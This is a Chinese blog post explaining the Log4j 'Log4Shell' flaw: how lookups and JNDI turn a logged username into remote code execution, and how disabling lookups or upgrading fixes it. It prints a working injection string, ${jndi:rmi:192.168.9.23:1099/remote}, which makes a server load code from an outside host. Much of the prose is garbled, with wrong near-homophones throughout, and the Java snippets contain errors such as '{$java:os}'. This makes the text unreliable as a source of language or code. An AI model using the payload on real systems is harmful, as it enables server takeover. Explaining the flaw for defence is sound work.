核弹级bug Log4j,置信很多人都有所耳闻了,这两天很多读者都在问我对于这个bug的原理等一些问题,明天咱们就专门写一篇文章,一起聊一聊这个核弹级别的bug的产生原理以及怎么避免
产生起因
其实这个次要的起因,和日志无关,日志是应用软件中不可短少的局部,Apache的开源我的项目log4j是一个功能强大的日志组件,提供方便的日志记录。
最简略的日志打印
咱们看如下场景:
这个场景大家应该很相熟了,就是用户登录,咱们明天不必关怀登录是怎么实现的,只用关怀用户名name字段就能够了,代码如下
public void login(string name){ String name = "test"; //表单接管name字段 logger.info("{},登录了", name); //logger为log4j}
很简略,用户如果登陆了,咱们通过表单接管到相干name字段,而后在日志中记录上这么一条记录。
这个看起来是很惯例的操作了,记录日志为什么会导致bug呢?不要焦急,咱们接下来往下看。
lookup反对打印零碎变量
name变量是用户输出的,用户输出什么都能够,下面的例子是字符串test,那么用户能够输出别的内容么?
public void login(string name){ String name = "{$java:os}"; //用户输出的name内容为 {$java:os} logger.info("{},登录了", name); //logger为log4j}
如果用户在用户名输入框输出{$java:os},那么日志中记录的会是零碎相干的信息,上述代码会输入
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了
为什么会产生这种奇怪的景象呢?
是因为log4j提供了一个lookup的性能,对lookup性能不相熟的同学也没有关系,你晓得有这么个办法,能够把一些零碎变量放到日志中就能够了,如下图
比拟敏锐的同学可能曾经开始察觉到了,当初越来越像sql注入了。
JNDI介绍
很多同学可能对JNDI不是很理解,不过没关系,我用最艰深的话来解释
其实就是你本人做一个服务,比方是
jndi:rmi:192.168.9.23:1099/remote
如果被攻打的服务器,比方某台线上的服务器,拜访了或者执行了,你本人的JNDI服务,那么线上的服务器就会来执行JNDI服务中的remote办法的代码。如果不是很分明,没关系,上面有张图
大家还记得咱们明天的配角log4j么?
如果用户间接在用户名输入框输出JNDI的服务地址
public void login(string name){ String name = "${jndi:rmi:192.168.9.23:1099/remote}"; //用户输出的name内容为 jndi相干信息 logger.info("{},登录了", name); }
那么只有是你用log4j来打印这么一条日志,那么log4j就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就能够对线上服务做任何操作了,
大家设想一下,一个不是你公司的人,却能够在你们公司线上服务器做任何操作,这该是如许的可怕。
解决形式
其实如果你理解了这个原理那么解决形式也就高深莫测了,
- 禁用lookup或JNDI服务
罪魁祸首就是lookup和JNDI,那么间接批改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务,不过个别产生问题的服务都是线上曾经在跑的服务,禁用的时候要留神评估一下是否容许。
- 降级Apache Log4j
这次产生的影响范畴次要是在Apache Log4j 2.x <= 2.14.1
,所以间接把Log4j降级即可解决。
欢送关注我的公众号,程序员小饭,下期见